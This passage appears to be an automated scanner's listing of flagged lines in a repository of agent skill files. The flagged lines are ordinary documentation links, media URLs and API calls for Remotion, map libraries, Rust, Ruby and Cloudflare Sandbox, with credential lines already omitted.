  • Network accessline 22
    viewer.scene.globe.show = false; const tileset = await Cesium.Cesium3DTileset.fromUrl(   `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_KEY}`,
  • Network accessline 23
    const tileset = await Cesium.Cesium3DTileset.fromUrl(   `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_KEY}`,   {showCreditsOnScreen: true, maximumScreenSpaceError: 4},
  • Network accessline 24
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/scripts/prep-cesium-path.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/mapbox/TECHNIQUE.md

  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maplibre/TECHNIQUE.md

  • Network accessline 83
    URL.createObjectURL( 				new Blob( 					[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`],
  • Network accessline 84
    new Blob( 					[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], 					{type: 'text/javascript'},
  • Network accessline 85
    [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`],
  • Network accessline 91
    const mapInstance = new maplibregl.Map({ 			container: containerRef.current, 			style: 'https://demotiles.maplibre.org/style.json',
  • Network accessline 92
    container: containerRef.current, 			style: 'https://demotiles.maplibre.org/style.json', 			center: zurich,
  • Network accessline 93
    style: 'https://demotiles.maplibre.org/style.json',
  • Network accessline 228
    URL.createObjectURL( 				new Blob( 					[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`],
  • Network accessline 229
    new Blob( 					[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], 					{type: 'text/javascript'},
  • Network accessline 230
    [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`],
  • Network accessline 236
    const mapInstance = new maplibregl.Map({ 			container: containerRef.current, 			style: 'https://demotiles.maplibre.org/style.json',
  • Network accessline 237
    container: containerRef.current, 			style: 'https://demotiles.maplibre.org/style.json', 			center: zurich,
  • Network accessline 238
    style: 'https://demotiles.maplibre.org/style.json',
  • Network accessline 471
    style: 'https://demotiles.maplibre.org/style.json'

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/TECHNIQUE.md

  • Network accessline 13
    Use `jumpTo` only for a static shot, or a fixed map plate for any pan/zoom. Gate with [`delayRender`](https://www.remotion.dev/docs/delay-render.md) until `map.once('idle')`.
  • Network accessline 14
    Gate with [`delayRender`](https://www.remotion.dev/docs/delay-render.md) until `map.once('idle')`.
  • Network accessline 18
    Render labels as positioned [`<Interactive.Div>`](https://www.remotion.dev/docs/interactive.md) elements.
  • Access to secretsline 20
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/CountryLabel.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/MapTilerVectorElement.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 27
    map.addSource(SOURCE_ID, { 			type: 'vector', 			url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`,
  • Network accessline 28
    type: 'vector', 			url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`, 		});
  • Network accessline 29
    url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`,
  • Access to secretsline 63
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/RiverReveal.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 22
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/example-Root.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/tokens.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/references/map-data-sources.md

  • Access to secretsline 38
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/scripts/prep-geo.mjs

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/sfx.md

  • Network accessline 13
    <Audio src={"https://remotion.media/whoosh.wav"} />;
  • Network accessline 18
    - `https://remotion.media/whoosh.wav`
  • Network accessline 19
    - `https://remotion.media/whip.wav`
  • Network accessline 20
    - `https://remotion.media/page-turn.wav`
  • Network accessline 21
    - `https://remotion.media/switch.wav`
  • Network accessline 22
    - `https://remotion.media/mouse-click.wav`
  • Network accessline 23
    - `https://remotion.media/shutter-modern.wav`
  • Network accessline 24
    - `https://remotion.media/shutter-old.wav`
  • Network accessline 25
    - `https://remotion.media/ding.wav`
  • Network accessline 26
    - `https://remotion.media/bruh.wav`
  • Network accessline 27
    - `https://remotion.media/vine-boom.wav`
  • Network accessline 28
    - `https://remotion.media/windows-xp-error.wav`
  • Network accessline 29
    - `https://remotion.media/fah.wav`
  • Network accessline 30
    - `https://remotion.media/spongebob-fail.wav`
  • Network accessline 31
    - `https://remotion.media/omg-hell-nah.wav`
  • Network accessline 32
    - `https://remotion.media/price-is-right-fail.wav`
  • Network accessline 33
    - `https://remotion.media/romance-meme.wav`
  • Network accessline 34
    - `https://remotion.media/bone-crack.wav`
  • Network accessline 35
    - `https://remotion.media/anime-wow.wav`
  • Network accessline 36
    - `https://remotion.media/yippee.wav`
  • Network accessline 37
    - `https://remotion.media/loading-lag.wav`
  • Network accessline 38
    - `https://remotion.media/wilhelm-scream.wav`
  • Network accessline 39
    - `https://remotion.media/mac-quack.wav`
  • Network accessline 40
    - `https://remotion.media/skedaddle.wav`
  • Network accessline 41
    - `https://remotion.media/snapchat-notification.wav`
  • Network accessline 42
    - `https://remotion.media/nelly-ahh.wav`
  • Network accessline 43
    - `https://remotion.media/sanctuary-guardian-what.wav`
  • Network accessline 44
    - `https://remotion.media/minecraft-hurt.wav`
  • Network accessline 45
    - `https://remotion.media/oh-my-god-vine.wav`
  • Network accessline 46
    - `https://remotion.media/illuminati-confirmed.wav`
  • Network accessline 47
    - `https://remotion.media/dramatic-boomer.wav`
  • Network accessline 48
    - `https://remotion.media/triggered.wav`
  • Network accessline 49
    - `https://remotion.media/record-scratch.wav`
  • Network accessline 51
    For more sound effects, search the internet. A good resource is https://github.com/kapishdima/soundcn/tree/main/assets.

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/text-highlights.md

  • Network accessline 12
    Docs: https://www.remotion.dev/docs/text-highlights

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/timing-props.md

  • Network accessline 87
    See [Timing and trimming](https://www.remotion.dev/docs/timing) for more details.

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/video-editing.md

  • Network accessline 58
    <Video   name="Opening"   src="https://remotion.media/video.mp4"
  • Network accessline 59
    name="Opening"   src="https://remotion.media/video.mp4"   trimBefore={0}
  • Network accessline 60
    src="https://remotion.media/video.mp4"
  • Network accessline 65
    <Video   name="Interview"   src="https://remotion.media/video.webm"
  • Network accessline 66
    name="Interview"   src="https://remotion.media/video.webm"   trimBefore={12}
  • Network accessline 67
    src="https://remotion.media/video.webm"
  • Network accessline 73
    <Video   name="Closing"   src="https://remotion.media/video.mp4"
  • Network accessline 74
    name="Closing"   src="https://remotion.media/video.mp4"   trimBefore={72}
  • Network accessline 75
    src="https://remotion.media/video.mp4"
  • Network accessline 103
    <TransitionSeries.Sequence name="Opening" durationInFrames={78} premountFor={fps}>     <Video       src="https://remotion.media/video.mp4"
  • Network accessline 104
    <Video       src="https://remotion.media/video.mp4"       trimBefore={0}
  • Network accessline 105
    src="https://remotion.media/video.mp4"
  • Network accessline 110
    <TransitionSeries.Sequence name="Interview" durationInFrames={66} premountFor={fps}>     <Video       src="https://remotion.media/video.webm"
  • Network accessline 111
    <Video       src="https://remotion.media/video.webm"       trimBefore={12}
  • Network accessline 112
    src="https://remotion.media/video.webm"
  • Network accessline 117
    <TransitionSeries.Sequence name="Closing" durationInFrames={90} premountFor={fps}>     <Video       src="https://remotion.media/video.mp4"
  • Network accessline 118
    <Video       src="https://remotion.media/video.mp4"       trimBefore={72}
  • Network accessline 119
    src="https://remotion.media/video.mp4"
  • Network accessline 148
    <TransitionSeries.Sequence name="Opening" durationInFrames={78} premountFor={fps}>     <Video       src="https://remotion.media/video.mp4"
  • Network accessline 149
    <Video       src="https://remotion.media/video.mp4"       trimBefore={0}
  • Network accessline 150
    src="https://remotion.media/video.mp4"
  • Network accessline 159
    <TransitionSeries.Sequence name="Interview" durationInFrames={66} premountFor={fps}>     <Video       src="https://remotion.media/video.webm"
  • Network accessline 160
    <Video       src="https://remotion.media/video.webm"       trimBefore={12}
  • Network accessline 161
    src="https://remotion.media/video.webm"

packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/voiceover.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 31
    const response = await fetch(
  • Network accessline 32
    `https://api.elevenlabs.io/v1/text-to-speech/${voiceId}`,
  • Access to secretsline 36
    [Credential-related source omitted]

packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/REFERENCE.md

  • Network accessline 7
    Mediabunny is a multimedia library for dealing with audio and video in the browser. Here is a compact overview of its capabilities: https://mediabunny.dev/llms.txt
  • Network accessline 8
    Here is a compact overview of its capabilities: https://mediabunny.dev/llms.txt

packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/get-audio-duration.md

  • Network accessline 31
    const duration = await getAudioDuration("https://remotion.media/audio.mp3");

packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/get-video-dimensions.md

  • Network accessline 38
    const dimensions = await getVideoDimensions("https://remotion.media/video.mp4");

packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/get-video-duration.md

  • Network accessline 31
    const duration = await getVideoDuration("https://remotion.media/video.mp4");

packages/autoskills/skills-registry/remotion-best-practices/remotion-render/REFERENCE.md

  • Network accessline 15
    Full list of options: https://www.remotion.dev/docs/cli/render.md
  • Network accessline 23
    Full list of options: https://www.remotion.dev/docs/cli/still.md
  • Network accessline 31
    See https://www.remotion.dev/docs/cli/render.md#--frames for more options.

packages/autoskills/skills-registry/remotion-best-practices/remotion-render/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/REFERENCE.md

  • Network accessline 25
    See https://www.remotion.dev/docs/vue.md for how to use Remotion with Vue.
  • Network accessline 29
    See https://www.remotion.dev/docs/angular.md for how to use Remotion with Angular.
  • Network accessline 33
    See https://www.remotion.dev/docs/svelte.md for how to use Remotion with Svelte.

packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/framework.md

  • Network accessline 12
    - Next.js: https://github.com/remotion-dev/template-next-app-dir-tailwind. Uses Lambda as default rendering choice.
  • Network accessline 13
    - Vercel Sandbox rendering: https://github.com/remotion-dev/template-vercel. Uses Vercel as default rendering choice.
  • Network accessline 14
    - React Router 7: https://github.com/remotion-dev/template-react-router. Uses Lambda as default rendering choice.
  • Network accessline 15
    - Express.js render server: `packages/template-render-server`: https://github.com/remotion-dev/template-render-server. Uses Node.js as default rendering choice.
  • Network accessline 19
    For an existing app, see https://www.remotion.dev/docs/brownfield-installation.md.

packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/player.md

  • Network accessline 28
    If metadata is dynamic, sync the Player props manually or reuse the composition's `calculateMetadata()` logic. Link https://www.remotion.dev/docs/dynamic-metadata.md#with-the-player.
  • Network accessline 29
    Link https://www.remotion.dev/docs/dynamic-metadata.md#with-the-player.
  • Network accessline 31
    Full API for the Player: https://www.remotion.dev/docs/player/player.md.

packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/rendering.md

  • Network accessline 13
    See https://www.remotion.dev/docs/compare-ssr.md for the tradeoffs between server-side rendering options.
  • Network accessline 19
    - SSR overview: https://www.remotion.dev/docs/ssr.md
  • Network accessline 20
    - Renderer package: https://www.remotion.dev/docs/renderer.md
  • Network accessline 21
    - Node SSR: https://www.remotion.dev/docs/ssr-node.md
  • Network accessline 23
    For a reference server with render, progress, and cancel endpoints, see https://github.com/remotion-dev/template-render-server.
  • Network accessline 29
    - Overview: https://www.remotion.dev/docs/lambda.md
  • Network accessline 30
    - API: https://www.remotion.dev/docs/lambda/api.md
  • Network accessline 35
    When recommending Lambda, offer the user to guide through the setup flow and keep the docs page open as the canonical checklist: https://www.remotion.dev/docs/lambda/setup.md.
  • Access to secretsline 42
    [Credential-related source omitted]
  • Network accessline 55
    See https://www.remotion.dev/docs/vercel-sandbox.md for more info.
  • Network accessline 59
    See https://www.remotion.dev/docs/ssr.md#render-using-github-actions for how to render on GitHub Actions.
  • Network accessline 64
    See https://www.remotion.dev/docs/azure-container-apps.md if rendering on Azure Container Apps is requested.
  • Network accessline 69
    See https://www.remotion.dev/docs/cloudflare-containers.md if rendering on Cloudflare Containers is requested.

packages/autoskills/skills-registry/remotion-best-practices/remotion-studio/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/remotion-best-practices/remotion-upgrade/REFERENCE.md

  • Network accessline 31
    The [Remotion releases](https://github.com/remotion-dev/remotion/releases) contain the changelog and may be useful for summarizing relevant changes after the upgrade.

packages/autoskills/skills-registry/remotion-best-practices/remotion-upgrade/assets/remotion-icon.svg

  • Network accessline 1
    <svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">

packages/autoskills/skills-registry/ruby/SKILL.md

  • Network accessline 204
    [Credential-related source omitted]
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 205
    config.fetch(:timeout, 30)                 # default value
  • Network accessline 206
    config.fetch(:handler) { build_handler }   # lazy default

packages/autoskills/skills-registry/ruby/references/modern_ruby.md

  • Network accessline 169
    urls = %w[https://example.com https://example.org]

packages/autoskills/skills-registry/rust-best-practices/SKILL.md

  • Network accessline 21
    Apply these guidelines when writing or reviewing Rust code. Based on Apollo GraphQL's [Rust Best Practices Handbook](https://github.com/apollographql/rust-best-practices).

packages/autoskills/skills-registry/rust-best-practices/references/chapter_01.md

  • Network accessline 509
    Different languages have different ways of sorting their imports, in the Rust ecosystem the [standard way](https://github.com/rust-lang/rustfmt/issues/4107) is:
  • Network accessline 572
    > "Duplication is far cheaper than the wrong abstraction." -- [Sandi Metz, The Wrong Abstraction](https://sandimetz.com/blog/2016/1/20/the-wrong-abstraction)
  • Network accessline 576
    From [Martin Fowler's *Refactoring*](https://martinfowler.com/books/refactoring.html), attributed to Don Roberts:
  • Network accessline 584
    [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) (*The Pragmatic Programmer*) says every piece of **knowledge** should have a single representation. It does **not** say "no two code fragments may look alike". Two blocks that *ha
  • Network accessline 611
    Every new variant will grow another parameter or branch. And the `bool` is a smell in its own right: `write_entry(out, key, value, true)` tells the reader nothing at the call site -- Martin Fowler calls this a [Flag Argument](https://martin
  • Network accessline 624
    If you find yourself maintaining an abstraction like `write_entry`, [Sandi Metz's advice](https://sandimetz.com/blog/2016/1/20/the-wrong-abstraction) is to **unwind it, not patch it**:
  • Network accessline 647
    In tests, be **even more tolerant of duplication**. The Google Testing Blog calls this [DAMP -- "Descriptive And Meaningful Phrases"](https://testing.googleblog.com/2019/12/testing-on-toilet-tests-too-dry-make.html) ([*Software Engineering 

packages/autoskills/skills-registry/rust-best-practices/references/chapter_02.md

  • Network accessline 5
    Clippy documentation can be found [here](https://doc.rust-lang.org/clippy/usage.html).
  • Network accessline 41
    | Lint Name | Why | Link | | --------- | ----| -----| | `redundant_clone` | Detects unnecessary `clones`, has performance impact | [link (nursery + perf)](https://rust-lang.github.io/rust-clippy/master/#redundant_clone) |
  • Network accessline 42
    | --------- | ----| -----| | `redundant_clone` | Detects unnecessary `clones`, has performance impact | [link (nursery + perf)](https://rust-lang.github.io/rust-clippy/master/#redundant_clone) | | `needless_borrow` group | Removes redundant
  • Network accessline 43
    | `redundant_clone` | Detects unnecessary `clones`, has performance impact | [link (nursery + perf)](https://rust-lang.github.io/rust-clippy/master/#redundant_clone) |
  • Network accessline 44
    | `needless_borrow` group | Removes redundant `&` borrowing | [link (style)](https://rust-lang.github.io/rust-clippy/master/#needless_borrow) |
  • Network accessline 45
    | `map_unwrap_or` / `map_or` | Simplifies nested `Option/Result` handling | [`map_unwrap_or`](https://rust-lang.github.io/rust-clippy/master/#map_unwrap_or) [`unnecessary_map_or`](https://rust-lang.github.io/rust-clippy/master/#unnecessary_
  • Network accessline 46
    | `manual_ok_or` | Suggest using `.ok_or_else` instead of `match` | [link (style)](https://rust-lang.github.io/rust-clippy/master/#manual_ok_or) |
  • Network accessline 47
    | `large_enum_variant` | Warns if an enum has very large variant which is bad for memory. Suggests `Boxing` it | [link (perf)](https://rust-lang.github.io/rust-clippy/master/#large_enum_variant) |
  • Network accessline 48
    | `unnecessary_wraps` | If your function always returns `Some` or `Ok`, you don't need `Option`/`Result` | [link (pedantic)](https://rust-lang.github.io/rust-clippy/master/#unnecessary_wraps) |
  • Network accessline 49
    | `clone_on_copy` | Catches accidental `.clone()` on `Copy` types like `u32` and `bool` | [link (complexity)](https://rust-lang.github.io/rust-clippy/master/#clone_on_copy) |
  • Network accessline 50
    | `needless_collect` | Prevents collecting and allocating an iterator, when allocation is not needed | [link (nursery)](https://rust-lang.github.io/rust-clippy/master/#needless_collect) |

packages/autoskills/skills-registry/rust-best-practices/references/chapter_03.md

  • Network accessline 10
    * Use `--release` flag on your builds (might sound dummy, but it is quite common to hear people complaining that their Rust code is slower than their X language code, and 99% of the time is because they didn't use the `--release` flag). * `
  • Network accessline 11
    * `$ cargo clippy -- -D clippy::perf` gives you important tips on best practices for performance. * [`cargo bench`](https://doc.rust-lang.org/cargo/commands/cargo-bench.html) is a cargo tool to create micro-benchmarks and test different cod
  • Network accessline 12
    * [`cargo bench`](https://doc.rust-lang.org/cargo/commands/cargo-bench.html) is a cargo tool to create micro-benchmarks and test different code solutions. Write a test scenario and bench your solution against the original code, if your impr
  • Network accessline 13
    * [`cargo flamegraph`](https://github.com/flamegraph-rs/flamegraph) a powerful profiler for Rust code. For MacOS, [samply](https://github.com/mstange/samply) might be a better DX option.
  • Network accessline 15
    > #### Further reading on Benchmarking: > - [How to build a Custom Benchmarking Harness in Rust](https://bencher.dev/learn/benchmarking/rust/custom-harness/)
  • Network accessline 16
    > - [How to build a Custom Benchmarking Harness in Rust](https://bencher.dev/learn/benchmarking/rust/custom-harness/)
  • Network accessline 73
    In sections [Borrowing over Cloning](./chapter_01.md#11-borrowing-over-cloning) and [Important Clippy lints to respect](./chapter_02.md#23-important-clippy-lints-to-respect) we mentioned the impacts of cloning and the relevant clippy lint [
  • Network accessline 159
    Sometimes you don't actually need owned data, but that is not clear from the API perspective, so using [`std::borrow::Cow`](https://doc.rust-lang.org/std/borrow/enum.Cow.html) is a way to efficiently address this case:
  • Network accessline 189
    * Only use `#[inline]` when benchmark proves beneficial, Rust is already pretty good at inlining **without** hints. * Avoid massive stack allocations, box them. Example `let buffer: Box<[u8; 65536]> = Box::new(..)` would first allocate `[u8
  • Network accessline 191
    * For large `const` arrays, considering using [crate smallvec](https://docs.rs/smallvec/latest/smallvec/) as it behaves like an array, but is smart enough to allocate large arrays on the heap.

packages/autoskills/skills-registry/rust-best-practices/references/chapter_04.md

  • Network accessline 9
    Rust has a powerful type that wraps fallible data, [`Result`](https://doc.rust-lang.org/std/result/), this allows us to handle Error cases according to our needs and manage the state of the application based on that.

packages/autoskills/skills-registry/rust-best-practices/references/chapter_05.md

  • Network accessline 159
    If you are testing separate behaviors, make multiple tests each with descriptive names. To avoid boilerplate, either use a shared setup function or [rstest](https://crates.io/crates/rstest) cases *with descriptive test names*:
  • Network accessline 160
    To avoid boilerplate, either use a shared setup function or [rstest](https://crates.io/crates/rstest) cases *with descriptive test names*:
  • Network accessline 252
    * Test for happy paths and common use cases. * Allow external states and side effects, [testcontainers](https://rust.testcontainers.org/) might help.
  • Network accessline 253
    * Allow external states and side effects, [testcontainers](https://rust.testcontainers.org/) might help.
  • Network accessline 291
    * Since Rust 1.96 prefer the stabilized [`assert_matches!`](https://doc.rust-lang.org/std/macro.assert_matches.html) (and [`debug_assert_matches!`](https://doc.rust-lang.org/std/macro.debug_assert_matches.html)) over `assert!(matches!(..))`
  • Network accessline 297
    * Use `#[should_panic]` wisely. It should only be used when panic is the desired behavior, prefer result instead of panic. * There are some other that can enhance your testing experience like:     * [`rstest`](https://crates.io/crates/rstes
  • Network accessline 298
    * There are some other that can enhance your testing experience like:     * [`rstest`](https://crates.io/crates/rstest): fixture based test framework with procedural macros.     * [`pretty_assertions`](https://crates.io/crates/pretty_assert
  • Network accessline 299
    * [`rstest`](https://crates.io/crates/rstest): fixture based test framework with procedural macros.
  • Network accessline 300
    * [`pretty_assertions`](https://crates.io/crates/pretty_assertions): overrides `assert_eq` and `assert_ne`,  and creates colorful diffs between them.
  • Network accessline 330
    To learn more about `cargo insta` check out its [documentation](https://insta.rs/docs/quickstart/) as it is a very complete and well documented tool.
  • Network accessline 374
    * Use [redactions](https://insta.rs/docs/redactions/) for unstable fields (randomly generated, timestamps, uuid, etc):

packages/autoskills/skills-registry/rust-best-practices/references/chapter_06.md

  • Network accessline 11
    ## 6.1 [Generics](https://doc.rust-lang.org/book/ch10-00-generics.html)
  • Network accessline 17
    [Generics by Examples](https://doc.rust-lang.org/rust-by-example/generics.html).

packages/autoskills/skills-registry/rust-best-practices/references/chapter_07.md

  • Network accessline 5
    > Recently it became the standard design pattern of Rust programming. However, it is not exclusive to Rust, as it is achievable and has inspired other languages to do the same [swift](https://swiftology.io/articles/typestate/) and [typescri
  • Network accessline 23
    [Github Example](https://github.com/apollographql/rust-best-practices/tree/main/examples/simple-type-state)
  • Network accessline 85
    [Github Example](https://github.com/apollographql/rust-best-practices/tree/main/examples/type-state-builder)
  • Network accessline 163
    Some libraries are already implementing the builder pattern, like [bon-rs](https://docs.rs/bon/latest/bon/)

packages/autoskills/skills-registry/rust-best-practices/references/chapter_08.md

  • Network accessline 158
    | Lint      	| Description                               	| |--------------	|-------------------------------------------	| | [missing_docs](https://doc.rust-lang.org/rustdoc/lints.html#missing_docs) 	| Warns that a public functions, struct,
  • Network accessline 159
    |--------------	|-------------------------------------------	| | [missing_docs](https://doc.rust-lang.org/rustdoc/lints.html#missing_docs) 	| Warns that a public functions, struct, const, enum has missing documentation           	| | [broke
  • Network accessline 160
    | [missing_docs](https://doc.rust-lang.org/rustdoc/lints.html#missing_docs) 	| Warns that a public functions, struct, const, enum has missing documentation           	|
  • Network accessline 161
    | [broken_intra_doc_links](https://doc.rust-lang.org/rustdoc/lints.html#broken_intra_doc_links) 	| Detects if an internal documentation link is broken. Especially useful when things are renamed.                                	|
  • Network accessline 162
    | [empty_docs](https://rust-lang.github.io/rust-clippy/master/#empty_docs) 	| Disallow empty docs - preventing bypass of `missing_docs` 	|
  • Network accessline 163
    | [missing_panics_doc](https://rust-lang.github.io/rust-clippy/master/#missing_panics_doc)   	| Warns that documentation should have a `# Panics` section if function can panic                    	|
  • Network accessline 164
    | [missing_errors_doc](https://rust-lang.github.io/rust-clippy/master/#missing_errors_doc)   	| Warns that documentation should have a `# Errors` section if function returns a `Result` explaining `Err` conditions                    	|
  • Network accessline 165
    | [missing_safety_doc](https://rust-lang.github.io/rust-clippy/master/#missing_safety_doc)   	| Warns that documentation should have a `# Safety` section if public facing functions have visible unsafe blocks                    	|
  • Network accessline 230
    - [ ]  Invariants or expectations.     - [ ]  Example construction or usage. - [ ]  Consider using [`#[non_exhaustive]`](https://doc.rust-lang.org/reference/attributes/type_system.html#the-non_exhaustive-attribute) if external users may mat
  • Network accessline 231
    - [ ]  Example construction or usage. - [ ]  Consider using [`#[non_exhaustive]`](https://doc.rust-lang.org/reference/attributes/type_system.html#the-non_exhaustive-attribute) if external users may match on it. 🔧 Functions and Methods
  • Network accessline 232
    - [ ]  Consider using [`#[non_exhaustive]`](https://doc.rust-lang.org/reference/attributes/type_system.html#the-non_exhaustive-attribute) if external users may match on it.

packages/autoskills/skills-registry/rust-best-practices/references/chapter_09.md

  • Network accessline 80
    ### [`Box<T>`](https://doc.rust-lang.org/std/boxed/struct.Box.html) - Heap Allocated
  • Network accessline 92
    ### [`Rc<T>`](https://doc.rust-lang.org/std/rc/struct.Rc.html) - Reference Counter (single-thread)
  • Network accessline 96
    ### [`Arc<T>`](https://doc.rust-lang.org/std/sync/struct.Arc.html) - Atomic Reference Counter (multi-thread)
  • Network accessline 100
    ### [`RefCell<T>`](https://doc.rust-lang.org/std/cell/struct.RefCell.html) - Runtime checked interior mutability
  • Network accessline 122
    ### [`Cell<T>`](https://doc.rust-lang.org/std/cell/struct.Cell.html) - Copy-only interior mutability
  • Network accessline 150
    ### [`Mutex<T>`](https://doc.rust-lang.org/std/sync/struct.Mutex.html) - Thread-safe mutability
  • Network accessline 154
    ### [`RwLock<T>`](https://doc.rust-lang.org/std/sync/struct.RwLock.html) - Thread-safe mutability
  • Network accessline 159
    ### [`*const T/*mut T`](https://doc.rust-lang.org/std/primitive.pointer.html) - Raw pointers
  • Network accessline 171
    ### [`OnceCell`](https://doc.rust-lang.org/std/cell/struct.OnceCell.html) - Single-thread single initialization container
  • Network accessline 206
    ### [`LazyCell`](https://doc.rust-lang.org/std/cell/struct.LazyCell.html) - Lazy initialization of `OnceCell`
  • Network accessline 210
    ### [`OnceLock`](https://doc.rust-lang.org/std/sync/struct.OnceLock.html) - thread-safe `OnceCell`
  • Network accessline 237
    ### [`LazyLock`](https://doc.rust-lang.org/std/sync/struct.LazyLock.html) - thread-safe `LazyCell`
  • Network accessline 254
    ## References - [Mara Bos - Rust Atomics and Locks](https://marabos.nl/atomics/)
  • Network accessline 255
    - [Mara Bos - Rust Atomics and Locks](https://marabos.nl/atomics/)
  • Network accessline 256
    - [Semicolon video on pointers](https://www.youtube.com/watch?v=Ag_6Q44PBNs)

packages/autoskills/skills-registry/sandbox-stable/SKILL.md

  • Network accessline 8
    Isolated Linux environments on [Cloudflare Containers](https://developers.cloudflare.com/containers/index.md), driven from Workers.
  • Network accessline 12
    This line is the **current stable** default npm package. The main [Sandbox documentation](https://developers.cloudflare.com/sandbox/index.md) describes it. Existing apps can stay here and keep shipping.
  • Network accessline 27
    | `@cloudflare/sandbox@next` or a `next` image | **Stop.** Load **`sandbox-next`**. | | User wants to port to 1.0 / `@next` | **Stop.** Load **`sandbox-migrate-to-next`**. Do not half-apply preview APIs on a stable package. | | Only cleanin
  • Network accessline 29
    | Only cleaning deprecated stable APIs | Stay here; use the [2026 deprecation guide](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md). That is **not** a move to `@next`. |
  • Network accessline 33
    Skills install: [Agent setup](https://developers.cloudflare.com/agent-setup/index.md) · [cloudflare/skills](https://github.com/cloudflare/skills)
  • Network accessline 44
    - Production preview hostnames need wildcard DNS on a custom domain when using those URL patterns. - Do **not** apply `@next` argv/`process.output()` APIs while the dependency is still stable. - Self-deployed **bridge** stays on the stable 
  • Network accessline 46
    - Self-deployed **bridge** stays on the stable package and image. [Bridge](https://developers.cloudflare.com/sandbox/sdk/bridge/index.md)
  • Network accessline 64
    | You need to… | Open | | ------------ | ---- | | Orient | [Sandbox overview](https://developers.cloudflare.com/sandbox/index.md) |
  • Network accessline 65
    | ------------ | ---- | | Orient | [Sandbox overview](https://developers.cloudflare.com/sandbox/index.md) | | First Worker, template, Docker | [Get started](https://developers.cloudflare.com/sandbox/get-started/index.md) |
  • Network accessline 66
    | Orient | [Sandbox overview](https://developers.cloudflare.com/sandbox/index.md) |
  • Network accessline 67
    | First Worker, template, Docker | [Get started](https://developers.cloudflare.com/sandbox/get-started/index.md) |
  • Network accessline 68
    | `exec`, streaming, background processes | [Commands API](https://developers.cloudflare.com/sandbox/sdk/api/commands/index.md) · [Execute commands](https://developers.cloudflare.com/sandbox/sdk/guides/execute-commands/index.md) · [Backgrou
  • Network accessline 69
    | Sessions / shell state across commands | [Sessions concept](https://developers.cloudflare.com/sandbox/sdk/concepts/sessions/index.md) · [Sessions API](https://developers.cloudflare.com/sandbox/sdk/api/sessions/index.md) |
  • Network accessline 70
    | `getSandbox` options, sleep, destroy | [Lifecycle API](https://developers.cloudflare.com/sandbox/sdk/api/lifecycle/index.md) · [Sandbox options](https://developers.cloudflare.com/sandbox/sdk/configuration/sandbox-options/index.md) |
  • Network accessline 71
